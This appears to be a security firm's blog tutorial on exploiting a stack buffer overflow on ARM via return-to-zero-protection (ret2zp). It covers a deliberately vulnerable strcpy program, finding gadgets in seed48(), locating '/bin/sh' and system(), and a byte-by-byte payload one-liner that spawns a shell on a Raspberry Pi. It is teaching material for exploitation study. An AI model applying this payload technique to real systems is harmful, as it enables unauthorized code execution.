ARM Ret2ZP

ARM Ret2ZP

ARM Ret2ZP 2048 1367 Thomas Whitmire

So straight off the bat, the first thing to understand when working with ARM when compared to x86 is the difference between RISC and CISC architecture designs. x86 using CISC, has the arguments to a function passed onto the stack, while in RISC, the arguments are passed to the register, so controlling the stack becomes a bit trickier. In order for this to work, we will need to find a function within the imported C libraries that will allow us to load our own registers and jump to the system() function.

Taking a look at the following code, we have a program that takes 1 argument and passes it into the function “Vulnerable”. When the function is called, it creates a buffer with the size of 10 bytes and proceeds to put our argument into the buffer with no bounds checking. When our argument is greater than the buffer size, it causes an overflow…

void vulnerable(char* buffer) {
char buf[10];
strcpy(buf,buffer);
}

int main(int argc, char **argv) {
vulnerable(argv[1]);
return(0);
}

Exercise performed on armv6l.

pi@raspberrypi:~/Desktop $ lscpu
Architecture:          armv6l
Byte Order:            Little Endian
CPU(s):                1
On-line CPU(s) list:   0
Thread(s) per core:    1
Core(s) per socket:    1
Socket(s):             1
Model name:            ARMv6-compatible processor rev 7 (v6l)

Quick look at the disassembly of the main function, we want to find the return after the ‘vulnerable’ function.

Running through the program we hit a segfault with the payload ‘AAAABBBBCCCC’. With a quick look at the Stack Pointer register, we see our payload and eventually after 4 bytes, the return address we are looking for. So when contructing our exploit, we will need to fill this space up and then overflow the return address with the address of our LibC function.

Navigating through functions here, we are looking for a way to get the register ‘r0’ to call our system() function with ‘/bin/sh’ as the argument. In this example we will use seed48().

So with our ‘add’ instruction, we get r0 = r4+6. We then need to find the address of our shell command ‘/bin/sh’.

When running through the program, we can search memory for our loaded enviroment using ‘x\40s $r1’. This will print out the string representation of the next 40bytes from the r1 register to find the address (0xbefffe14) holding our ‘/bin/sh’ command.

Now in order to align the stack properly, we need to remember that the ‘add’ instruction from the seed48 function is adding 6 bytes. The address 0xbefffe14 is actually holding ‘SHELL=/bin/sh’ and we only want ‘/bin/sh’. Lucky for us, we wont actually need to do any calculations here because we want to move forward 6 bytes to move past the ‘SHELL=’ text to start at ‘/bin/sh’ and the ‘add’ instruction is going to do that for us.

Next we find the address for our system() function to be called later.

Alright, so we have everything we need to write out our payload to get a shell, time to break it up.

  • 1.) “AAAABBBBCCCCDDDD” –> junk payload to get to our return address.
  • 1.) “\xfc\x5d\xea\xb6” –> overflow the return with the address of the ‘pop’ instruction from the seed48() function.
  • 1.) “\x14\xfe\xff\xbe” –> ‘pop’ will pass the address of our shell string to the register r4.
  • 1.) “\xf8\x5d\xea\xb6” –> ‘add’ will add 6 bytes to our shell address and store it in r0 and continues down the stack a second time to the ‘pop’ instruction.
  • 1.) “EEEE” –> junk payload, which will be popped into r4.
  • 1.) “\xac\xdf\xea\xb6” –> system() function gets called with our shell address passed as an argument.

Let’s quickly run the payload r `python -c ‘print “AAAABBBBCCCCDDDD\xfc\x5d\xea\xb6\x14\xfe\xff\xbe\xf8\x5d\xea\xb6EEEE\xac\xdf\xea\xb6″‘` and debug it to make sure the stack is properly aligned.

We can see that the string ‘/bin/sh’ was aligned correctly as the ‘add’ instruction helped us move past the ‘SHELL=’ text. Towards the bottom, we can see that the system() function was properly called and our string to gain a shell was passed as an argument.

Lastly, we run the payload without breakpoints and successfully get our vulnerable program to execute a shell.

Where There is Unity, There is Victory

[Ubi concordia, ibi victoria]

– Publius Syrus

Contact Lares Consulting logo (image)

Continuous defensive improvement through adversarial simulation and collaboration.

Email Us

©2024 Lares, a Damovo Company | All rights reserved.

Error: Contact form not found.

Error: Contact form not found.

Privacy Preferences

When you visit our website, it may store information through your browser from specific services, usually in the form of cookies. Some types of cookies may impact your experience on our website and the services we are able to offer. It may disable certain pages or features entirely. If you do not agree to the storage or tracking of your data and activities, you should leave the site now.

Our website uses cookies, many to support third-party services, such as Google Analytics. Click now to agree to our use of cookies or you may leave the site now.